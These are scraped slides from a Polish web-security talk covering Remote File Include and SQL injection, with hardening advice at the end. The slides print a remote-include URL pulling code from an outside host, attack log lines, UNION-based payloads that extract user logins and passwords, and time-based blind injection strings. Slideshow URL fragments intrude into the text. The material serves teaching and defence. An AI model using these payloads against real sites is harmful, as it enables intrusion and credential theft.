  • 70. Remote File Include wykonanie kodu <?php include($mosConfig_absolute_path.quot;/administrator/components /com_hashcash/config.hashcash.phpquot;); require_once ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS trategy.php'); http://strona.tld/components/com_hashcash/server.php?mosConfig_a bsolute_path=http://zuozuozuo.pl/evil.txt? access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] quot;GET //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.803/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„ access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] quot;GET /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt? HTTP/1.1quot; 404 1021 quot;-quot; quot;libwww-perl/5.76quot; B
  • 71. Co z tym zrobid?  konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru  uważad na specjalne znaki (null byte, etc)  filtrowad, filtrowad i jeszcze raz filtrowad (../, UTF, itd.)  inne: mod_security, Suhosin PHP B
  • 72.  SQL Injection M
  • 73. SQL Injection Serwer GET /login.php HTTP/1.1 login=admin&password=1’ or 1=‘1 Aplikacja WWW Intruz select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’ Welcome admin $dane = db_exec(/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„select from users where login=‘$login’ and pass=‘$pass’”) Baza danych if ($dane.count) { print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Welcome $login”) … } else { print (/slideshow/drobne-bdy-w-portalach-www-prawdziwe-studium-przypadku/224621/„Bye”); exit (0); } M
  • 74. POST http://www.serwer.tld/index.php?p=priv HTTP/1.1 priv_search=2e332424&cat='quot;1&w_city=quot;'asd&submit=Szukaj M
  • 75. priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=1#&submit=Szukaj M
  • 76. priv_search=&cat=1&w_city=Ca%B3a+Polska' and 1=0#&submit=Szukaj M
  • 77. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select @@version#&submit=Szukaj The used SELECT statements have a different number of columns M
  • 78. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi t=Szukaj M
  • 79. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi t=Szukaj M
  • 80. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_ NAME,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA != 'information_schema'#&submit=Szukaj M
  • 81. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=Szukaj M
  • 82. Przy okazji wychodzą na jaw TAJEMNICE ;-) M
  • 83. Bonusowe odkrycie: 1836 botów :-) M
  • 84. Blind SQL Injection Formularz rejestracyjny: ‘ B
  • 85. Blind SQL Injection  1' and 1='0  OK.  1' or 1='1  Taki email już jest zarejestrowany w serwisie. Musisz podad inny  1' union all SELECT IF( user() like '%sig%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  opóźnienie  user() == sig@...  1' union all SELECT IF( user() like '%asd%', BENCHMARK(3000000,MD5( 'x' )),NULL)#  brak opóźnienia B
  • 86.  B
  • 87.  B
  • 88. Blind SQL Injection • /zgoda.php?id=155765%20AND%20(select%2 0ascii(substring((select%20login%20from%20a dmini%20limit%201,1),1,1)))%3D97 • id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1))) =ZNAK_ASCII B
  • 89. Wyniki blind SQL Injection  Opóźnienie  Treśd  Komunikat błędu B
  • 90. Co na to poradzid?  Filtrowad wprowadzane dane - Białe listy znaków - Spójnośd (IDS, Firewall, aplikacja, baza danych)  Nie ufad filtrom po stronie użytkownika (listy wyboru, JavaScript) M
  • 91.  Podsumowanie M
  • 92. Z bezpieczeostwem WWW jest źle Błędy są wszędzie* wokół nas *no prawie wszędzie ;-) M
  • 93. Co zrobid? Koniecznie filtrowad wprowadzane i wyprowadzane dane  Firewalle aplikacyjne  IDSy Białe listy! M
  • 94. Byd świadomym potencjalnych zagrożeo i problemów  Słuchad i pytad  Korzystad z pomocy specjalistów  Bilansowad koszty z zyskami każdy feedback jest dobry M
  • 95. Używad sprawdzonych rozwiązao • Odpowiedzią na tradycyjne błędy jest kod zarządzany, automatyczne typowanie, GC, itp. • Odpowiedzią na błędy w kodowaniu WWW są frameworki – Pozwalają na zachowanie pewnej jakości kodu – Nie jesteśmy w 100% bezpieczni » Jeszcze nie są wystarczająco dojrzałe » Nie wszyscy wiedzą jak z nich korzystad » Bywają rozszerzane quot;na głupaquot; » Efekt skali powoduje, że błędy propagują się szeroko M
  • 96. Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w php.ini może zablokowad wykorzystanie błędu w aplikacji PHP: http://www.sans.org/top20/#s1 M
  • 97. Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych M
  • 98. michal@sobiegraj.com b.lacki@logicaltrust.net Pytania?